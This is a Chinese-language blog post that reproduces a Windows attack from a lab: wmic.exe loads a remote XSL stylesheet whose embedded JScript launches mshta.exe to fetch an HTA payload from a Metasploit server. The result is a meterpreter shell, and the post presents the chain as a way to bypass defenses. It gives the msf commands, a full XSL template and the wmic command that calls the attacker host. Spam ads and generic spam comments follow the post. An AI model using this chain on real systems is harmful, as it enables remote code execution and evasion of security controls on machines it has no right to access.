亮神说,有wmic可以执行payload,于是就有人复现了一下。
项目地址:https://github.com/Micropoor/Micro8
0x00 WMIC简介(原文复制)
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。
0x01 原理概述
利用wmic.exe下载远程XSL(EXtensible Stylesheet Language,可扩展样式表语言)文件。其格式类似XML,其中包含一段JScript代码,可以调用WScript.Shell执行命令。
利用WScript.Shell运行mshta.exe,从远程下载hta文件(HTML Application,HTML应用程序)。该文件可以是一段VBScript,可以使用Wscript.Shell来调用powershell来执行Payload。
0x02 环境
攻击机:Kali Linux
IP:10.0.0.16
靶机:Windows Server 2008 Enterprise R2 x64
IP:10.0.0.4
软件:Metasploit Framework、Web服务器(用于下载xsl文件)。
0x03 实验
打开MSF,启动hta server,设置好payload类型和参数:
msf5> use exploit/windows/misc/hta_server

msf5> exploit

复制以下模板XSL文件,修改其中hta文件的地址为上图中的地址即可。我的虚拟机使用了双网卡,使用靶机可访问的10.0.0.16地址。
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("mshta.exe http://10.0.0.16:8080/0gLLJrV.hta");
]]> </ms:script>
</stylesheet>
将XSL文件放在/var/www/html/目录下,启动apache,为靶机提供Payload下载服务。靶机执行以下命令,加载并执行远程Payload:
# wmic.xsl为编辑好的文件
wmic os get format:"http://10.0.0.16/wmic.xsl"

MSF接收到反弹的meterpreter:

wmic.exe为Windows自带管理工具,将PowerShell Payload进行适当的处理后,可以起到神奇的bypass效果。
Black Rubber Caster Wheelブランド時計コピーClassy Hydroxypropyl Methyl Cellulose HPMC
Thank you ever so for you article.Much thanks again. Awesome.
I loved your blog post. Fantastic.
I really liked your blog article.Really thank you! Cool.
what do cbd peanut butter bites for dogs do to your dog
Great article.Much thanks again. Cool.
Great blog.Really thank you! Keep writing.
I really liked your blog post.Much thanks again.
Really informative blog post.Really looking forward to read more. Really Great.
wow, awesome blog post.Really thank you! Awesome.
I will immediately grab your rss feed as I can not in finding your email subscription hyperlink or newsletter service. Do you’ve any? Please let me understand so that I may just subscribe. Thanks.
Very neat post.Really looking forward to read more. Great.